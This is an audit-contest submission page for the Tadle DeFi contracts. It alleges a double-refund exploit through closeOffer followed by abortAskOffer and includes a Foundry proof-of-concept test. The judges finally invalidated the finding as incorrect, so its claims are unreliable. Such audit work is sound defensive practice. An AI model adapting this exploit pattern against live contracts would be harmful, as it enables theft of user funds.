Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: low
Invalid

The original seller can exploit the unchanged `offerStatus` in the `createTaker()` function to steal the entire taker's funds.

100HP

Summary

Vulnerability Details

If the original seller createOffer with turbo mode & offerType as ask by depositing collateral.

Now a subsequent trader takes points from that original offer via createTaker function then, the original seller's offerInfo.usedPoints will be updated accordingly.
https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L236

offerInfo.usedPoints = offerInfo.usedPoints + _points;

Now after the first trade on the original seller by a subsequent trader, the original seller calls closeOffer to close his offer from the marketplace and wants his remaining deposited collateral back.

Since he was playing in turbo mode but, he was the original seller ,the stockInfo.preOffer == address(0x0) condition triggered successfully.
https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L439

if (
makerInfo.offerSettleType == OfferSettleType.Protected ||the
stockInfo.preOffer == address(0x0)
) {
uint256 refundAmount = OfferLibraries.getRefundAmount(
offerInfo.offerType,
offerInfo.amount,
offerInfo.points,
offerInfo.usedPoints,
offerInfo.collateralRate
);
​
ITokenManager tokenManager = tadleFactory.getTokenManager();
tokenManager.addTokenBalance(
TokenBalanceType.MakerRefund,
_msgSender(),
makerInfo.tokenAddress,
refundAmount
);
}

Original seller successfully claims his refundAmount corresponding to his remaining offerInfo.points.
At the end of the closeOffer() function call, the original seller's offerStatus is updated to canceled.
https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L458

offerInfo.offerStatus = OfferStatus.Canceled;

Now original seller calls the abortAskOffer() function, which successfully passed the original seller's call since his offerStatus was updated to canceled at the end of the closeOffer() function call.
https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L559C9-L564C10

if (
offerInfo.offerStatus != OfferStatus.Virgin &&
offerInfo.offerStatus != OfferStatus.Canceled
) {
revert InvalidOfferStatus();
}

And the else clause will trigger since his offerStatus was canceled.
https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L587

if (offerInfo.offerStatus == OfferStatus.Virgin) {
remainingAmount = offerInfo.amount;
} else {
remainingAmount = offerInfo.amount.mulDiv(
offerInfo.usedPoints,
offerInfo.points,
Math.Rounding.Floor
);
}

Since the original seller's offerInfo.usedPoints was updated by a subsequent trader's trade (meaning it's no longer zero), then the remainingAmount will be calculated corresponding to his offerInfo.usedPoints, and additional refund amount will be gathered.

Add this test in PreMarkets.t.sol .

Run forge test --mt "test_stealRefund" -vvvvv .

function test_stealRefund() public{
vm.startPrank(user);
// creating a sell offer
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.012 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
​
address originOffer = GenerateAddress.generateOfferAddress(0);
vm.stopPrank();
​
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(originOffer, 500); // place a bid order
vm.stopPrank();
vm.startPrank(user);
// since offerStatus doesn't change after first trade, close the offer
address originStock = GenerateAddress.generateStockAddress(0);
preMarktes.closeOffer(originStock, originOffer);
​
// abortAskOffer to claim the refund from closed offer again
uint256 balanceBeforeAbortAsk = tokenManager.userTokenBalanceMap(address(user),address(mockUSDCToken),TokenBalanceType.MakerRefund);
preMarktes.abortAskOffer(originStock, originOffer);
uint256 balanceAfterAbortAsk = tokenManager.userTokenBalanceMap(address(user),address(mockUSDCToken),TokenBalanceType.MakerRefund);
​
uint256 makerExtraRefund = balanceAfterAbortAsk - balanceBeforeAbortAsk;
assertGe(makerExtraRefund, 0.0012e18);
vm.stopPrank();
}

Impact

The original seller can steal refund assets from the system via calling abortAskOffer function after closeOffer function.

Tools Used

Manual review.

Recommendations

Change offerStatus from Virgin to Ongoing right after the first trade.

Add this at the end of createTaker() function.

+ offerInfo.offerStatus = OfferStatus.Ongoing;
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

[invalid] finding-PreMarkets-abortAskOffer-Canceled exploit

Note, #148, #826, #1784 all stems from the fact that order statuses are not appropriately updated when a taker order is created against a maker offer. If the status is switched to `Ongoing/Filled` respectively, the virgin checks will fail appropriately and subsequently all this issues will be fixed. They could possibly be duplicates, so leaving open for appeal. This actually is closely related to issue #148. If a taker has created an Bid/Ask offer agains a original maker offer and the Status is adjusted to Ongoing/Filled accordingly, then the abortion/cancellations cannot occur so this issue cannot be exploited.

Appeal created

cryptomoon Auditor
about 1 year ago
0xbrivan2 Auditor
about 1 year ago
0xnevi Lead Judge
about 1 year ago
0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
Assigned finding tags:

[invalid] finding-PreMarkets-abortAskOffer-Canceled exploit

Note, #148, #826, #1784 all stems from the fact that order statuses are not appropriately updated when a taker order is created against a maker offer. If the status is switched to `Ongoing/Filled` respectively, the virgin checks will fail appropriately and subsequently all this issues will be fixed. They could possibly be duplicates, so leaving open for appeal. This actually is closely related to issue #148. If a taker has created an Bid/Ask offer agains a original maker offer and the Status is adjusted to Ongoing/Filled accordingly, then the abortion/cancellations cannot occur so this issue cannot be exploited.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.